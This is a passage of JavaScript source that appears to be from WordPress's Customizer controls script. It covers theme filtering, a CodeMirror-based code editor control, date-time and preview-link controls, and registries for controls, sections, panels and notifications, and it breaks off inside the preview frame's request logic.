				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}
			function updateButtons() {
				control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
				control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
			}

			api.state( 'selectedChangesetStatus' ).bind( updateButtons );
			api.state( 'changesetStatus' ).bind( updateButtons );
			updateButtons();

			control.container.on( 'touchmove', '.theme', function() {
				control.touchDrag = true;
			});

			// Bind details view trigger.
			control.container.on( 'click keydown touchend', '.theme', function( event ) {
				var section;
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				// Bail if the user scrolled on a touch device.
				if ( control.touchDrag === true ) {
					return control.touchDrag = false;
				}

				// Prevent the modal from showing when the user clicks the action button.
				if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
					return;
				}

				event.preventDefault(); // Keep this AFTER the key filter above.
				section = api.section( control.section() );
				section.showDetails( control.params.theme, function() {

					// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
					if ( api.settings.theme._filesystemCredentialsNeeded ) {
						section.overlay.find( '.theme-actions .delete-theme' ).remove();
					}
				} );
			});

			control.container.on( 'render-screenshot', function() {
				var $screenshot = $( this ).find( 'img' ),
					source = $screenshot.data( 'src' );

				if ( source ) {
					$screenshot.attr( 'src', source );
				}
				control.screenshotRendered = true;
			});
		},

		/**
		 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
		 *
		 * @since 4.2.0
		 * @param {Array} terms - An array of terms to search for.
		 * @return {boolean} Whether a theme control was activated or not.
		 */
		filter: function( terms ) {
			var control = this,
				matchCount = 0,
				haystack = control.params.theme.name + ' ' +
					control.params.theme.description + ' ' +
					control.params.theme.tags + ' ' +
					control.params.theme.author + ' ';
			haystack = haystack.toLowerCase().replace( '-', ' ' );

			// Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
			if ( ! _.isArray( terms ) ) {
				terms = [ terms ];
			}

			// Always give exact name matches highest ranking.
			if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
				matchCount = 100;
			} else {

				// Search for and weight (by 10) complete term matches.
				matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );

				// Search for each term individually (as whole-word and partial match) and sum weighted match counts.
				_.each( terms, function( term ) {
					matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
					matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
				});

				// Upper limit on match ranking.
				if ( matchCount > 99 ) {
					matchCount = 99;
				}
			}

			if ( 0 !== matchCount ) {
				control.activate();
				control.params.priority = 101 - matchCount; // Sort results by match count.
				return true;
			} else {
				control.deactivate(); // Hide control.
				control.params.priority = 101;
				return false;
			}
		},

		/**
		 * Rerender the theme from its JS template with the installed type.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		rerenderAsInstalled: function( installed ) {
			var control = this, section;
			if ( installed ) {
				control.params.theme.type = 'installed';
			} else {
				section = api.section( control.params.section );
				control.params.theme.type = section.params.action;
			}
			control.renderContent(); // Replaces existing content.
			control.container.trigger( 'render-screenshot' );
		}
	});

	/**
	 * Class wp.customize.CodeEditorControl
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.customize.CodeEditorControl
	 * @augments wp.customize.Control
	 */
	api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 * @param {string} id      - Unique identifier for the control instance.
		 * @param {Object} options - Options hash for the control instance.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this;
			control.deferred = _.extend( control.deferred || {}, {
				codemirror: $.Deferred()
			} );
			api.Control.prototype.initialize.call( control, id, options );

			// Note that rendering is debounced so the props will be used when rendering happens after add event.
			control.notifications.bind( 'add', function( notification ) {

				// Skip if control notification is not from setting csslint_error notification.
				if ( notification.code !== control.setting.id + ':csslint_error' ) {
					return;
				}

				// Customize the template and behavior of csslint_error notifications.
				notification.templateId = 'customize-code-editor-lint-error-notification';
				notification.render = (function( render ) {
					return function() {
						var li = render.call( this );
						li.find( 'input[type=checkbox]' ).on( 'click', function() {
							control.setting.notifications.remove( 'csslint_error' );
						} );
						return li;
					};
				})( notification.render );
			} );
		},

		/**
		 * Initialize the editor when the containing section is ready and expanded.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function() {
			var control = this;
			if ( ! control.section() ) {
				control.initEditor();
				return;
			}

			// Wait to initialize editor until section is embedded and expanded.
			api.section( control.section(), function( section ) {
				section.deferred.embedded.done( function() {
					var onceExpanded;
					if ( section.expanded() ) {
						control.initEditor();
					} else {
						onceExpanded = function( isExpanded ) {
							if ( isExpanded ) {
								control.initEditor();
								section.expanded.unbind( onceExpanded );
							}
						};
						section.expanded.bind( onceExpanded );
					}
				} );
			} );
		},

		/**
		 * Initialize editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initEditor: function() {
			var control = this, element, editorSettings = false;

			// Obtain editorSettings for instantiation.
			if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {

				// Obtain default editor settings.
				editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
				editorSettings.codemirror = _.extend(
					{},
					editorSettings.codemirror,
					{
						indentUnit: 2,
						tabSize: 2
					}
				);

				// Merge editor_settings param on top of defaults.
				if ( _.isObject( control.params.editor_settings ) ) {
					_.each( control.params.editor_settings, function( value, key ) {
						if ( _.isObject( value ) ) {
							editorSettings[ key ] = _.extend(
								{},
								editorSettings[ key ],
								value
							);
						}
					} );
				}
			}

			element = new api.Element( control.container.find( 'textarea' ) );
			control.elements.push( element );
			element.sync( control.setting );
			element.set( control.setting() );

			if ( editorSettings ) {
				control.initSyntaxHighlightingEditor( editorSettings );
			} else {
				control.initPlainTextareaEditor();
			}
		},

		/**
		 * Make sure editor gets focused when control is focused.
		 *
		 * @since 4.9.0
		 * @param {Object}   [params] - Focus params.
		 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
		 * @return {void}
		 */
		focus: function( params ) {
			var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
			originalCompleteCallback = extendedParams.completeCallback;
			extendedParams.completeCallback = function() {
				if ( originalCompleteCallback ) {
					originalCompleteCallback();
				}
				if ( control.editor ) {
					control.editor.codemirror.focus();
				}
			};
			api.Control.prototype.focus.call( control, extendedParams );
		},

		/**
		 * Initialize syntax-highlighting editor.
		 *
		 * @since 4.9.0
		 * @param {Object} codeEditorSettings - Code editor settings.
		 * @return {void}
		 */
		initSyntaxHighlightingEditor: function( codeEditorSettings ) {
			var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;

			settings = _.extend( {}, codeEditorSettings, {
				onTabNext: _.bind( control.onTabNext, control ),
				onTabPrevious: _.bind( control.onTabPrevious, control ),
				onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
			});

			control.editor = wp.codeEditor.initialize( $textarea, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-label': control.params.label,
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			control.container.find( 'label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			/*
			 * When the CodeMirror instance changes, mirror to the textarea,
			 * where we have our "true" change event handler bound.
			 */
			control.editor.codemirror.on( 'change', function( codemirror ) {
				suspendEditorUpdate = true;
				$textarea.val( codemirror.getValue() ).trigger( 'change' );
				suspendEditorUpdate = false;
			});

			// Update CodeMirror when the setting is changed by another plugin.
			control.setting.bind( function( value ) {
				if ( ! suspendEditorUpdate ) {
					control.editor.codemirror.setValue( value );
				}
			});

			// Prevent collapsing section when hitting Esc to tab out of editor.
			control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
				var escKeyCode = 27;
				if ( escKeyCode === event.keyCode ) {
					event.stopPropagation();
				}
			});

			control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
		},

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabNext: function onTabNext() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( controls.length === controlIndex + 1 ) {
				$( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' );
			} else {
				controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabPrevious: function onTabPrevious() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( 0 === controlIndex ) {
				section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
			} else {
				controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
			var control = this, message;
			control.setting.notifications.remove( 'csslint_error' );

			if ( 0 !== errorAnnotations.length ) {
				if ( 1 === errorAnnotations.length ) {
					message = api.l10n.customCssError.singular.replace( '%d', '1' );
				} else {
					message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
				}
				control.setting.notifications.add( new api.Notification( 'csslint_error', {
					message: message,
					type: 'error'
				} ) );
			}
		},

		/**
		 * Initialize plain-textarea editor when syntax highlighting is disabled.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initPlainTextareaEditor: function() {
			var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];

			$textarea.on( 'blur', function onBlur() {
				$textarea.data( 'next-tab-blurs', false );
			} );

			$textarea.on( 'keydown', function onKeydown( event ) {
				var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;

				if ( escKeyCode === event.keyCode ) {
					if ( ! $textarea.data( 'next-tab-blurs' ) ) {
						$textarea.data( 'next-tab-blurs', true );
						event.stopPropagation(); // Prevent collapsing the section.
					}
					return;
				}

				// Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
				if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
					return;
				}

				// Prevent capturing Tab characters if Esc was pressed.
				if ( $textarea.data( 'next-tab-blurs' ) ) {
					return;
				}

				selectionStart = textarea.selectionStart;
				selectionEnd = textarea.selectionEnd;
				value = textarea.value;

				if ( selectionStart >= 0 ) {
					textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
					$textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
				}

				event.stopPropagation();
				event.preventDefault();
			});

			control.deferred.codemirror.rejectWith( control );
		}
	});

	/**
	 * Class wp.customize.DateTimeControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.DateTimeControl
	 * @augments wp.customize.Control
	 */
	api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this;

			control.inputElements = {};
			control.invalidDate = false;

			_.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );

			if ( ! control.setting ) {
				throw new Error( 'Missing setting' );
			}

			control.container.find( '.date-input' ).each( function() {
				var input = $( this ), component, element;
				component = input.data( 'component' );
				element = new api.Element( input );
				control.inputElements[ component ] = element;
				control.elements.push( element );

				// Add invalid date error once user changes (and has blurred the input).
				input.on( 'change', function() {
					if ( control.invalidDate ) {
						control.notifications.add( new api.Notification( 'invalid_date', {
							message: api.l10n.invalidDate
						} ) );
					}
				} );

				// Remove the error immediately after validity change.
				input.on( 'input', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.notifications.remove( 'invalid_date' );
					}
				} ) );

				// Add zero-padding when blurring field.
				input.on( 'blur', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.populateDateInputs();
					}
				} ) );
			} );

			control.inputElements.month.bind( control.updateDaysForMonth );
			control.inputElements.year.bind( control.updateDaysForMonth );
			control.populateDateInputs();
			control.setting.bind( control.populateDateInputs );

			// Start populating setting after inputs have been populated.
			_.each( control.inputElements, function( element ) {
				element.bind( control.populateSetting );
			} );
		},

		/**
		 * Parse datetime string.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
		 * @return {Object|null} Returns object containing date components or null if parse error.
		 */
		parseDateTime: function parseDateTime( datetime ) {
			var control = this, matches, date, midDayHour = 12;

			if ( datetime ) {
				matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
			}

			if ( ! matches ) {
				return null;
			}

			matches.shift();

			date = {
				year: matches.shift(),
				month: matches.shift(),
				day: matches.shift(),
				hour: matches.shift() || '00',
				minute: matches.shift() || '00',
				second: matches.shift() || '00'
			};

			if ( control.params.includeTime && control.params.twelveHourFormat ) {
				date.hour = parseInt( date.hour, 10 );
				date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
				date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
				delete date.second; // @todo Why only if twelveHourFormat?
			}

			return date;
		},

		/**
		 * Validates if input components have valid date and time.
		 *
		 * @since 4.9.0
		 * @return {boolean} If date input fields has error.
		 */
		validateInputs: function validateInputs() {
			var control = this, components, validityInput;

			control.invalidDate = false;

			components = [ 'year', 'day' ];
			if ( control.params.includeTime ) {
				components.push( 'hour', 'minute' );
			}

			_.find( components, function( component ) {
				var element, max, min, value;

				element = control.inputElements[ component ];
				validityInput = element.element.get( 0 );
				max = parseInt( element.element.attr( 'max' ), 10 );
				min = parseInt( element.element.attr( 'min' ), 10 );
				value = parseInt( element(), 10 );
				control.invalidDate = isNaN( value ) || value > max || value < min;

				if ( ! control.invalidDate ) {
					validityInput.setCustomValidity( '' );
				}

				return control.invalidDate;
			} );

			if ( control.inputElements.meridian && ! control.invalidDate ) {
				validityInput = control.inputElements.meridian.element.get( 0 );
				if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
					control.invalidDate = true;
				} else {
					validityInput.setCustomValidity( '' );
				}
			}

			if ( control.invalidDate ) {
				validityInput.setCustomValidity( api.l10n.invalidValue );
			} else {
				validityInput.setCustomValidity( '' );
			}
			if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
				_.result( validityInput, 'reportValidity' );
			}

			return control.invalidDate;
		},

		/**
		 * Updates number of days according to the month and year selected.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateDaysForMonth: function updateDaysForMonth() {
			var control = this, daysInMonth, year, month, day;

			month = parseInt( control.inputElements.month(), 10 );
			year = parseInt( control.inputElements.year(), 10 );
			day = parseInt( control.inputElements.day(), 10 );

			if ( month && year ) {
				daysInMonth = new Date( year, month, 0 ).getDate();
				control.inputElements.day.element.attr( 'max', daysInMonth );

				if ( day > daysInMonth ) {
					control.inputElements.day( String( daysInMonth ) );
				}
			}
		},

		/**
		 * Populate setting value from the inputs.
		 *
		 * @since 4.9.0
		 * @return {boolean} If setting updated.
		 */
		populateSetting: function populateSetting() {
			var control = this, date;

			if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
				return false;
			}

			date = control.convertInputDateToString();
			control.setting.set( date );
			return true;
		},

		/**
		 * Converts input values to string in Y-m-d H:i:s format.
		 *
		 * @since 4.9.0
		 * @return {string} Date string.
		 */
		convertInputDateToString: function convertInputDateToString() {
			var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
				getElementValue, pad;

			pad = function( number, padding ) {
				var zeros;
				if ( String( number ).length < padding ) {
					zeros = padding - String( number ).length;
					number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
				}
				return number;
			};

			getElementValue = function( component ) {
				var value = parseInt( control.inputElements[ component ].get(), 10 );

				if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
					value = pad( value, 2 );
				} else if ( 'year' === component ) {
					value = pad( value, 4 );
				}
				return value;
			};

			dateFormat = [ 'year', '-', 'month', '-', 'day' ];
			if ( control.params.includeTime ) {
				hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
				dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
			}

			_.each( dateFormat, function( component ) {
				date += control.inputElements[ component ] ? getElementValue( component ) : component;
			} );

			return date;
		},

		/**
		 * Check if the date is in the future.
		 *
		 * @since 4.9.0
		 * @return {boolean} True if future date.
		 */
		isFutureDate: function isFutureDate() {
			var control = this;
			return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
		},

		/**
		 * Convert hour in twelve hour format to twenty four hour format.
		 *
		 * @since 4.9.0
		 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
		 * @param {string} meridian - Either 'am' or 'pm'.
		 * @return {string} Hour in twenty four hour format.
		 */
		convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
			var hourInTwentyFourHourFormat, hour, midDayHour = 12;

			hour = parseInt( hourInTwelveHourFormat, 10 );
			if ( isNaN( hour ) ) {
				return '';
			}

			if ( 'pm' === meridian && hour < midDayHour ) {
				hourInTwentyFourHourFormat = hour + midDayHour;
			} else if ( 'am' === meridian && midDayHour === hour ) {
				hourInTwentyFourHourFormat = hour - midDayHour;
			} else {
				hourInTwentyFourHourFormat = hour;
			}

			return String( hourInTwentyFourHourFormat );
		},

		/**
		 * Populates date inputs in date fields.
		 *
		 * @since 4.9.0
		 * @return {boolean} Whether the inputs were populated.
		 */
		populateDateInputs: function populateDateInputs() {
			var control = this, parsed;

			parsed = control.parseDateTime( control.setting.get() );

			if ( ! parsed ) {
				return false;
			}

			_.each( control.inputElements, function( element, component ) {
				var value = parsed[ component ]; // This will be zero-padded string.

				// Set month and meridian regardless of focused state since they are dropdowns.
				if ( 'month' === component || 'meridian' === component ) {

					// Options in dropdowns are not zero-padded.
					value = value.replace( /^0/, '' );

					element.set( value );
				} else {

					value = parseInt( value, 10 );
					if ( ! element.element.is( document.activeElement ) ) {

						// Populate element with zero-padded value if not focused.
						element.set( parsed[ component ] );
					} else if ( value !== parseInt( element(), 10 ) ) {

						// Forcibly update the value if its underlying value changed, regardless of zero-padding.
						element.set( String( value ) );
					}
				}
			} );

			return true;
		},

		/**
		 * Toggle future date notification for date control.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove the notification.
		 * @return {wp.customize.DateTimeControl}
		 */
		toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'not_future_date';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'error',
					message: api.l10n.futureDateError
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}

			return control;
		}
	});

	/**
	 * Class PreviewLinkControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.PreviewLinkControl
	 * @augments wp.customize.Control
	 */
	api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{

		defaults: _.extend( {}, api.Control.prototype.defaults, {
			templateId: 'customize-preview-link-control'
		} ),

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this, element, component, node, url, input, button;

			_.bindAll( control, 'updatePreviewLink' );

			if ( ! control.setting ) {
			    control.setting = new api.Value();
			}

			control.previewElements = {};

			control.container.find( '.preview-control-element' ).each( function() {
				node = $( this );
				component = node.data( 'component' );
				element = new api.Element( node );
				control.previewElements[ component ] = element;
				control.elements.push( element );
			} );

			url = control.previewElements.url;
			input = control.previewElements.input;
			button = control.previewElements.button;

			input.link( control.setting );
			url.link( control.setting );

			url.bind( function( value ) {
				url.element.parent().attr( {
					href: value,
					target: api.settings.changeset.uuid
				} );
			} );

			api.bind( 'ready', control.updatePreviewLink );
			api.state( 'saved' ).bind( control.updatePreviewLink );
			api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
			api.state( 'activated' ).bind( control.updatePreviewLink );
			api.previewer.previewUrl.bind( control.updatePreviewLink );

			button.element.on( 'click', function( event ) {
				event.preventDefault();
				if ( control.setting() ) {
					input.element.select();
					document.execCommand( 'copy' );
					button( button.element.data( 'copied-text' ) );
				}
			} );

			url.element.parent().on( 'click', function( event ) {
				if ( $( this ).hasClass( 'disabled' ) ) {
					event.preventDefault();
				}
			} );

			button.element.on( 'mouseenter', function() {
				if ( control.setting() ) {
					button( button.element.data( 'copy-text' ) );
				}
			} );
		},

		/**
		 * Updates Preview Link
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updatePreviewLink: function updatePreviewLink() {
			var control = this, unsavedDirtyValues;

			unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();

			control.toggleSaveNotification( unsavedDirtyValues );
			control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
			control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
			control.setting.set( api.previewer.getFrontendPreviewUrl() );
		},

		/**
		 * Toggles save notification.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove notification.
		 * @return {void}
		 */
		toggleSaveNotification: function toggleSaveNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'changes_not_saved';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'info',
					message: api.l10n.saveBeforeShare
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}
		}
	});

	/**
	 * Change objects contained within the main customize object to Settings.
	 *
	 * @alias wp.customize.defaultConstructor
	 */
	api.defaultConstructor = api.Setting;

	/**
	 * Callback for resolved controls.
	 *
	 * @callback wp.customize.deferredControlsCallback
	 * @param {wp.customize.Control[]} controls Resolved controls.
	 */

	/**
	 * Collection of all registered controls.
	 *
	 * @alias wp.customize.control
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for controls to obtain.
	 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
	 * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested controls.
	 *
	 * @example <caption>Loop over all registered controls.</caption>
	 * wp.customize.control.each( function( control ) { ... } );
	 *
	 * @example <caption>Getting `background_color` control instance.</caption>
	 * control = wp.customize.control( 'background_color' );
	 *
	 * @example <caption>Check if control exists.</caption>
	 * hasControl = wp.customize.control.has( 'background_color' );
	 *
	 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
	 * wp.customize.control( 'background_color', function( control ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
	 * promise = wp.customize.control( 'blogname', 'blogdescription' );
	 * promise.done( function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
	 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Getting setting value for `background_color` control.</caption>
	 * value = wp.customize.control( 'background_color ').setting.get();
	 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
	 *
	 * @example <caption>Add new control for site title.</caption>
	 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
	 *     setting: 'blogname',
	 *     type: 'text',
	 *     label: 'Site title',
	 *     section: 'other_site_identify'
	 * } ) );
	 *
	 * @example <caption>Remove control.</caption>
	 * wp.customize.control.remove( 'other_blogname' );
	 *
	 * @example <caption>Listen for control being added.</caption>
	 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
	 *
	 * @example <caption>Listen for control being removed.</caption>
	 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
	 */
	api.control = new api.Values({ defaultConstructor: api.Control });

	/**
	 * Callback for resolved sections.
	 *
	 * @callback wp.customize.deferredSectionsCallback
	 * @param {wp.customize.Section[]} sections Resolved sections.
	 */

	/**
	 * Collection of all registered sections.
	 *
	 * @alias wp.customize.section
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for sections to obtain.
	 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
	 * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested sections.
	 *
	 * @example <caption>Loop over all registered sections.</caption>
	 * wp.customize.section.each( function( section ) { ... } )
	 *
	 * @example <caption>Getting `title_tagline` section instance.</caption>
	 * section = wp.customize.section( 'title_tagline' )
	 *
	 * @example <caption>Expand dynamically-created section when it exists.</caption>
	 * wp.customize.section( 'dynamically_created', function( section ) {
	 *     section.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.section = new api.Values({ defaultConstructor: api.Section });

	/**
	 * Callback for resolved panels.
	 *
	 * @callback wp.customize.deferredPanelsCallback
	 * @param {wp.customize.Panel[]} panels Resolved panels.
	 */

	/**
	 * Collection of all registered panels.
	 *
	 * @alias wp.customize.panel
	 *
	 * @since 4.0.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for panels to obtain.
	 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
	 * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param),
	 *                                                       or promise resolving to requested panels.
	 *
	 * @example <caption>Loop over all registered panels.</caption>
	 * wp.customize.panel.each( function( panel ) { ... } )
	 *
	 * @example <caption>Getting nav_menus panel instance.</caption>
	 * panel = wp.customize.panel( 'nav_menus' );
	 *
	 * @example <caption>Expand dynamically-created panel when it exists.</caption>
	 * wp.customize.panel( 'dynamically_created', function( panel ) {
	 *     panel.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.panel = new api.Values({ defaultConstructor: api.Panel });

	/**
	 * Callback for resolved notifications.
	 *
	 * @callback wp.customize.deferredNotificationsCallback
	 * @param {wp.customize.Notification[]} notifications Resolved notifications.
	 */

	/**
	 * Collection of all global notifications.
	 *
	 * @alias wp.customize.notifications
	 *
	 * @since 4.9.0
	 *
	 * @type {Function}
	 * @param {...string} codes - One or more codes for notifications to obtain.
	 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
	 * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param),
	 *                                                              or promise resolving to requested notifications.
	 *
	 * @example <caption>Check if existing notification</caption>
	 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain existing notification</caption>
	 * notification = wp.customize.notifications( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain notification that may not exist yet.</caption>
	 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
	 *
	 * @example <caption>Add a warning notification.</caption>
	 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
	 *     type: 'warning',
	 *     message: 'Midnight has almost arrived!',
	 *     dismissible: true
	 * } ) );
	 *
	 * @example <caption>Remove a notification.</caption>
	 * wp.customize.notifications.remove( 'a_new_day_arrived' );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.notifications = new api.Notifications();

	api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{
		sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.

		/**
		 * An object that fetches a preview in the background of the document, which
		 * allows for seamless replacement of an existing preview.
		 *
		 * @constructs wp.customize.PreviewFrame
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Object} params.container
		 * @param {Object} params.previewUrl
		 * @param {Object} params.query
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var deferred = $.Deferred();

			/*
			 * Make the instance of the PreviewFrame the promise object
			 * so other objects can easily interact with it.
			 */
			deferred.promise( this );

			this.container = params.container;

			$.extend( params, { channel: api.PreviewFrame.uuid() });

			api.Messenger.prototype.initialize.call( this, params, options );

			this.add( 'previewUrl', params.previewUrl );

			this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });

			this.run( deferred );
		},

		/**
		 * Run the preview request.
		 *
		 * @param {Object} deferred jQuery Deferred object to be resolved with
		 *                          the request.
		 */
		run: function( deferred ) {
			var previewFrame = this,
				loaded = false,
				ready = false,
				readyData = null,
				hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
				urlParser,
				params,
				form;

			if ( previewFrame._ready ) {
				previewFrame.unbind( 'ready', previewFrame._ready );
			}

			previewFrame._ready = function( data ) {
				ready = true;
				readyData = data;
				previewFrame.container.addClass( 'iframe-ready' );
				if ( ! data ) {
					return;
				}

				if ( loaded ) {
					deferred.resolveWith( previewFrame, [ data ] );
				}
			};

